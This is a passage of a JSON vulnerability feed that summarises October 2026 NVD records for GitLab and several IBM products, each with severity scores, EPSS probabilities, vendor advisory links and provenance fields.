attributes in syntax-highlighted output.","detail":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2  that, under certain conditions, could have allowed an authenticated user to execute arbitrary JavaScript in the context of other users' browser sessions via a specially crafted repository, due to improper sanitization of HTML attributes in syntax-highlighted output.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T02:17:00.570Z","updatedAt":"2026-10-14T20:18:00.737Z","regions":["Global"],"vendor":"gitlab","product":"gitlab","stacks":["GitLab","gitlab"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92883","asOf":"2026-10-14T20:18:00.737Z"},"epss":{"probability":0.00478,"percentile":0.40942,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92883&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92883","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92883","type":"primary","publishedAt":"2026-10-13T02:17:00.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92883&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92883, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-81839","cveId":"CVE-2026-81839","aliases":[],"kind":"vulnerability","title":"GitLab has remediated an issue in GitLab EE affecting all versions from 18.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have...","summary":"GitLab has remediated an issue in GitLab EE affecting all versions from 18.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an authenticated user to execute arbitrary CI/CD pipelines in a transferred project with the new group's privileges due to improper cleanup of scheduled pipeline execution policy records.","detail":"GitLab has remediated an issue in GitLab EE affecting all versions from 18.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an authenticated user to execute arbitrary CI/CD pipelines in a transferred project with the new group's privileges due to improper cleanup of scheduled pipeline execution policy records.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T02:16:59.927Z","updatedAt":"2026-10-14T14:07:43.407Z","regions":["Global"],"vendor":"gitlab","product":"gitlab","stacks":["GitLab","gitlab"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-81839","asOf":"2026-10-14T14:07:43.407Z"},"epss":{"probability":0.00279,"percentile":0.20189,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-81839&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-81839","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81839","type":"primary","publishedAt":"2026-10-13T02:16:59.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-81839&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-81839, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-16301","cveId":"CVE-2026-16301","aliases":[],"kind":"vulnerability","title":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could...","summary":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an authenticated user with Developer role to execute CI/CD pipelines on protected branches without authorization due to improper authorization checks in the downstream pipeline creation service.","detail":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an authenticated user with Developer role to execute CI/CD pipelines on protected branches without authorization due to improper authorization checks in the downstream pipeline creation service.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T02:16:58.583Z","updatedAt":"2026-10-14T20:17:34.980Z","regions":["Global"],"vendor":"gitlab","product":"gitlab","stacks":["GitLab","gitlab"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-16301","asOf":"2026-10-14T20:17:34.980Z"},"epss":{"probability":0.00335,"percentile":0.26627,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-16301&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-16301","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-16301","type":"primary","publishedAt":"2026-10-13T02:16:58.583Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-16301&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-16301, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-14814","cveId":"CVE-2026-14814","aliases":[],"kind":"vulnerability","title":"GitLab has remediated an issue in GitLab CE/EE affecting all versions before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed...","summary":"GitLab has remediated an issue in GitLab CE/EE affecting all versions before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed a user to poison cached responses for raw repository files, causing targeted users' CI/CD pipelines to execute specially crafted content and potentially exposing protected environment variables, due to improper validation of repository references.","detail":"GitLab has remediated an issue in GitLab CE/EE affecting all versions before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed a user to poison cached responses for raw repository files, causing targeted users' CI/CD pipelines to execute specially crafted content and potentially exposing protected environment variables, due to improper validation of repository references.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T02:16:58.330Z","updatedAt":"2026-10-14T14:09:45.657Z","regions":["Global"],"vendor":"gitlab","product":"gitlab","stacks":["GitLab","gitlab"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-14814","asOf":"2026-10-14T14:09:45.657Z"},"epss":{"probability":0.00386,"percentile":0.32418,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-14814&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-14814","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-14814","type":"primary","publishedAt":"2026-10-13T02:16:58.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-14814&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-14814, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93886","cveId":"CVE-2026-93886","aliases":[],"kind":"vulnerability","title":"IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to execute arbitrary script code due to improper validation of user-supplied input.","summary":"IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to execute arbitrary script code due to improper validation of user-supplied input.","detail":"IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to execute arbitrary script code due to improper validation of user-supplied input.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T00:17:01.933Z","updatedAt":"2026-10-14T23:48:28.730Z","regions":["Global"],"vendor":"ibm","product":"i","stacks":["IBM","i"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93886","asOf":"2026-10-14T23:48:28.730Z"},"epss":{"probability":0.0019,"percentile":0.08603,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93886&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93886","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93886","type":"primary","publishedAt":"2026-10-13T00:17:01.933Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7291760","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93886&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93886, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-81858","cveId":"CVE-2026-81858","aliases":[],"kind":"vulnerability","title":"IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to cause a denial of service and obtain information due to an out-of-bounds read in the File Server.","summary":"IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to cause a denial of service and obtain information due to an out-of-bounds read in the File Server.","detail":"IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to cause a denial of service and obtain information due to an out-of-bounds read in the File Server.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T00:17:01.807Z","updatedAt":"2026-10-14T23:48:42.867Z","regions":["Global"],"vendor":"ibm","product":"i","stacks":["IBM","i"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-81858","asOf":"2026-10-14T23:48:42.867Z"},"epss":{"probability":0.00275,"percentile":0.19738,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-81858&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-81858","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81858","type":"primary","publishedAt":"2026-10-13T00:17:01.807Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7290195","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-81858&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-81858, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84418","cveId":"CVE-2026-84418","aliases":[],"kind":"vulnerability","title":"IBM DataStage on Cloud Pak for Data 5.4.0.0 can allow a man-in-the-middle attacker to present a forged TLS certificate, intercept the connection, and capture the IAM bearer...","summary":"IBM DataStage on Cloud Pak for Data 5.4.0.0 can allow a man-in-the-middle attacker to present a forged TLS certificate, intercept the connection, and capture the IAM bearer Authorization header automatically attached by the session adapter. The captured token grants full platform-scope tenant API access, enabling the attacker to read and manipulate the victim's DataStage projects, flows, assets, and pipeline definitions. This is client-side SDK code running on the user's own machine, so exploitation requires an external network interceptor rather than a co-tenant in the shared cluster.","detail":"IBM DataStage on Cloud Pak for Data 5.4.0.0 can allow a man-in-the-middle attacker to present a forged TLS certificate, intercept the connection, and capture the IAM bearer Authorization header automatically attached by the session adapter. The captured token grants full platform-scope tenant API access, enabling the attacker to read and manipulate the victim's DataStage projects, flows, assets, and pipeline definitions. This is client-side SDK code running on the user's own machine, so exploitation requires an external network interceptor rather than a co-tenant in the shared cluster.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:45.013Z","updatedAt":"2026-10-14T23:50:00.197Z","regions":["Global"],"vendor":"ibm","product":"datastage on cloud pak for data","stacks":["IBM","datastage on cloud pak for data"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84418","asOf":"2026-10-14T23:50:00.197Z"},"epss":{"probability":0.00136,"percentile":0.03036,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84418&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84418","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84418","type":"primary","publishedAt":"2026-10-12T23:17:45.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7288649","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84418&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84418, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82108","cveId":"CVE-2026-82108","aliases":[],"kind":"vulnerability","title":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS...","summary":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.","detail":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:42.317Z","updatedAt":"2026-10-14T23:50:25.550Z","regions":["Global"],"vendor":"ibm","product":"datastage on cloud pak for data","stacks":["IBM","datastage on cloud pak for data"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82108","asOf":"2026-10-14T23:50:25.550Z"},"epss":{"probability":0.00458,"percentile":0.39439,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82108&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82108","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82108","type":"primary","publishedAt":"2026-10-12T23:17:42.317Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7288649","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82108&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82108, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82096","cveId":"CVE-2026-82096","aliases":[],"kind":"vulnerability","title":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an...","summary":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.","detail":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:41.680Z","updatedAt":"2026-10-14T23:51:28.630Z","regions":["Global"],"vendor":"ibm","product":"datastage on cloud pak for data","stacks":["IBM","datastage on cloud pak for data"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82096","asOf":"2026-10-14T23:51:28.630Z"},"epss":{"probability":0.00427,"percentile":0.36656,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82096&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82096","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82096","type":"primary","publishedAt":"2026-10-12T23:17:41.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7288649","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82096&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82096, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75061","cveId":"CVE-2026-75061","aliases":[],"kind":"vulnerability","title":"IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to traverse directories on the system.","summary":"IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing \"dot dot\" sequences (/../) to write arbitrary files on the system.","detail":"IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing \"dot dot\" sequences (/../) to write arbitrary files on the system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:38.223Z","updatedAt":"2026-10-15T19:15:03.187Z","regions":["Global"],"vendor":"ibm","product":"planning analytics","stacks":["IBM","planning analytics"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75061","asOf":"2026-10-15T19:15:03.187Z"},"epss":{"probability":0.00361,"percentile":0.29624,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75061&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75061","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75061","type":"primary","publishedAt":"2026-10-12T23:17:38.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7291604","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75061&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75061, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-19627","cveId":"CVE-2026-19627","aliases":[],"kind":"vulnerability","title":"IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to read arbitrary host files and overwrite certain application files due to improper validation of file paths.","summary":"IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to read arbitrary host files and overwrite certain application files due to improper validation of file paths.","detail":"IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to read arbitrary host files and overwrite certain application files due to improper validation of file paths.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:37.237Z","updatedAt":"2026-10-15T19:15:25.713Z","regions":["Global"],"vendor":"ibm","product":"planning analytics","stacks":["IBM","planning 